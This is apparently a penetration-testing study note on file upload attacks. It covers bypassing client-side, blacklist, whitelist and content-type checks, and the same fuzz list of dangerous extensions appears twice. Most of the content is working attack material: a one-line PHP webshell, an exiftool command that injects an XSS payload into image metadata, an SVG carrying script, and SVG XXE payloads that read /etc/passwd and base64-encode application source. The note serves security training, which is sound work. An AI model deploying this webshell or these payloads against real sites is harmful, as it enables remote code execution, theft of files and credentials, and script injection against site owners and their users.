File Upload Attacks
From file upload to remote code execution
File upload vulnerablities happen due to weak or missing validation of uploaded files. There are abritrary file uploads which result in RCE. But other attacks:
- XSS
- XXE
# Custom webshell
<?php system($_REQUEST['cmd']); ?>
Client-Side validation
If validation is only happening on the client-side we can bypass it interacting with the back-end using Burp or modify the code. Intercept the request in burp and change the extension from .jpg
to .php
.
Or analyse source remove the check or add .php
.
<input type="file" name="uploadFile" id="uploadFile" onchange="checkFile(this)" accept=".jpg,.jpeg,.png">
Blacklist Filters
Blacklist filters blacklist extensions and will block extenions like .php
, phps
. Besides file types content types can also be filtered. Example code of blacklist filtering, its case sensitive.
$fileName = basename($_FILES["uploadFile"]["name"]);
$extension = pathinfo($fileName, PATHINFO_EXTENSION);
$blacklist = array('php', 'php7', 'phps');
if (in_array($extension, $blacklist)) {
echo "File type not allowed";
die();
}
Fuzz for valid extensions that are not blacklisted.
.jpeg.php
.jpg.php
.png.php
.php
.php2
.php3
.php4
.php5
.php6
.php7
.php8
.phps
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
.asp
.aspx
.bat
.c
.cfm
.cgi
.css
.com
.dll
.exe
.hta
.htm
.html
.inc
.jhtml
.js
.jsa
.json
.jsp
.log
.mdb
.nsf
.pcap
.pl
.rb
.reg
.sh
.shtml
.sql
.swf
.txt
.xml
Whitelist Filters
Whitelist filters work with specifying which files are allowed like .jpg
or .png
. Example code whitelisting filter.
$fileName = basename($_FILES["uploadFile"]["name"]);
if (!preg_match('^.*\.(jpg|jpeg|png|gif)', $fileName)) {
echo "Only images are allowed";
die();
}
.jpeg.php
.jpg.php
.png.php
.php
.php2
.php3
.php4
.php5
.php6
.php7
.php8
.phps
.pht
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.gif
.php\x00.gif
.php%00.png
.php\x00.png
.php%00.jpg
.php\x00.jpg
.asp
.aspx
.bat
.c
.cfm
.cgi
.css
.com
.dll
.exe
.hta
.htm
.html
.inc
.jhtml
.js
.jsa
.json
.jsp
.log
.mdb
.nsf
.pcap
.pl
.rb
.reg
.sh
.shtml
.sql
.swf
.txt
.xml
Some webapps use strict regex like:
if (!preg_match('/^.*\.(jpg|jpeg|png|gif)$/', $fileName))
This patterns says final extension should match everything up to the last (.
). It uses the ($
) to require the file name to end with used the extensions.
^
marks the beginning of the string.*
matches any characters (0 or more times)\.
matches a literal dot character (it's escaped with \ because dot has special meaning in regex)(jpg|jpeg|png|gif)
is a group that matches one of these exact extensions$
marks the end of the string
To bypass this its possible to reverse double extension like shell.php.png
.
Type Filters
There are two common methods for validating the file content: Content-Type Header
or File Content
. So when uploading fails it could be in Content-Type Header
or the File Content
.
# Example of accepted content-types.
$type = $_FILES['uploadFile']['type'];
if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
echo "Only images are allowed";
die();
}
Our browsers automatically set the Content-Type header when selecting a file through the file selector dialog, usually derived from the file extension.
MIME-Type
MIME-Type
. Multipurpose Internet Mail Extensions (MIME)
determines the type of a file through its format and bytes structure. For example, a file starting with (GIF87a
or GIF89a
), indicates its a .gif
file.
# Checking for content-type
$type = mime_content_type($_FILES['uploadFile']['tmp_name']);
if (!in_array($type, array('image/jpg', 'image/jpeg', 'image/png', 'image/gif'))) {
echo "Only images are allowed";
die();
}
XSS
We can use file uploads and embed a payload into in image. Another option is using the image metadata.
exiftool -Comment=' "><img src=1 onerror=alert(window.origin)>' HTB.jpg
Another option is using SVG images, when displaying the images the XSS is triggered.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg xmlns="http://www.w3.org/2000/svg" version="1.1" width="1" height="1">
<rect x="1" y="1" width="1" height="1" fill="green" stroke="black" />
<script type="text/javascript">alert(window.origin);</script>
</svg>
XXE
Also using SVG images we can include malicious XML data.
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "file:///etc/passwd"> ]>
<svg>&xxe;</svg>
Or read source code
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE svg [ <!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<svg>&xxe;</svg>